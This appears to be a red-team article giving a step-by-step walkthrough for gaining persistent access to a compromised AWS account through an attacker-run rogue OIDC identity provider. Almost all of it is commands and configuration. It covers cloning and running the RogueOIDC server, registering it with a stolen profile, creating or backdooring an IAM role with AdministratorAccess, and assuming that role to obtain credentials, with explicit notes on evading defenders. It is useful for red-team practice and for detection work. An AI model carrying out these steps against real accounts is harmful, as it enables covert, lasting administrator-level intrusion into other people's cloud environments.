Skip to content

Article by Eduard Agavriloae

IAM Rogue OIDC Identity Provider Persistence

There are multiple ways to obtain persistence in AWS after gaining an initial foothold. This is another, slightly more complex method that, due to its complexity, may go unnoticed for a longer time compared with the well-known ones.

This technique involves deploying an OIDC web server, creating an OIDC Identity Provider in AWS and backdoor a role for achieving persistence. For clarity, the steps below specify whether they should be performed in your environment (the attacker) or the victim's environment.

Before we begin, you will need a domain for this technique. AWS doesn't accept as OIDC Identity Providers IP addresses or domains that use self-signed certificates.

1. Start an EC2 instance

Environment: attacker

You will need a server to deploy the web OIDC Identity Provider (IdP). This server should expose port 443 to the internet.

2. Configure a DNS record

Environment: attacker

Add an A DNS record for a subdomain that will point to the IP of the EC2 instance. For the rest of the article we will assume that the subdomain is named oidc and the domain is example.com.

3. Connect to the instance and download Rogue OIDC IdP server

Environment: attacker

sudo yum update
sudo yum install git
git clone https://github.com/OffensAI/RogueOIDC

4. Generate certificate

Environment: attacker

This will create the cert files at /etc/letsencrypt/live/oidc.example.com/privkey.pem and /etc/letsencrypt/live/oidc.example.com/fullchain.pem.

sudo yum install certbot
sudo certbot certonly --standalone -d oidc.example.com

5. Configure Rogue OIDC Identity Provider

Environment: attacker

cd RogueOIDC/web-app
vim .env

Change the configuration using your own domain, change the client secret and optionally the client ID and subject.

ISSUER=https://oidc.example.com
CLIENT_ID=oidc_client
CLIENT_SECRET=very_secure_password_2027
REDIRECT_URI=https://oidc.example.com
SUBJECT=oidc_subject
SSL_KEYFILE=/etc/letsencrypt/live/oidc.example.com/privkey.pem
SSL_CERTFILE=/etc/letsencrypt/live/oidc.example.com/fullchain.pem
HOST=0.0.0.0
PORT=443

6. Install requirements

Environment: attacker

cd RogueOIDC/web-app
sudo yum install pip
sudo yum install virtualenv

virtualenv web
source web/bin/activate
pip install -r requirements.txt

7. Start the server

Environment: attacker

sudo web/bin/python main.py

Verify that https://odic.example.com/.well-known/openid-configuration is accessible and reflects the configurations made.

8. Create the OIDC provider

Environment: victim

This command will be executed using the compromised identity from the victim's account. The client ID must match the configured client ID from the Rogue OIDC IdP configuration.

aws --profile compromised_user iam create-open-id-connect-provider --url https://oidc.example.com --client-id-list oidc_client

9. Persistence

Environment: victim

There are two ways to achieve persistence. The first involves creating a role with a trust policy for the OIDC IdP and attaching a policy to it afterwards. This might be easily detected.

The second one involves modifying the trust role policy of an existing role. While this is still a well-known persistence technique, combining it with an OIDC IdP may evade detection by some tools and defenders.

9.1 Create a new role with this OIDC Identity Provider in the trust policy

The trust role policy document can be found below. Make sure it matches the client ID and subject configured in the Rogue OIDC server.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::123456789012:oidc-provider/oidc.example.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.example.com:aud": "oidc_client",
                    "oidc.example.com:sub": "oidc_subject"
                }
            }
        }
    ]
}

Use a unique role name to ensure safe testing.

aws --profile compromised_user iam create-role --role-name poc-random-string --assume-role-policy-document file://policy.json

aws --profile compromised_user iam attach-role-policy --role-name poc-random-string --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

Now you just created an administrator role that can be assumed with the last step from the article. Keep in mind that is enough to create a role, without attaching any policies for doing a PoC.

9.2 Modify the role trust policy of an existing role

With this method you would ideally get the trust policy of an existing role, modify it by adding your OIDC provider and update the role with the new policy document. This way, the role would continue to work, but it would also be backdoored.

aws --profile compromised_user iam update-assume-role-policy --role-name poc-random-string --policy-document file://policy.json

10. Assume the role

Finally, you can now assume the role at any time. The script for assuming it is in the same repository as the Rogue web OIDC IdP.

cd assume-role-script

pip install -r requirements.txt

./assume-role-rogue-oidc.py --oidc-url https://oidc.example.com \
      --client-id oidc_client \
      --client-secret very_secure_password_2027 \
      --redirect-uri https://oidc.example.com \
      --role-arn arn:aws:iam::123456789012:role/poc \
      --role-session-name session_name

The output will contain the temporary access credentials of the role and will perform an STS GetCallerIdentity to check if the credentials are working.

For taking the technique to a more evasion oriented level, make sure to check the original research.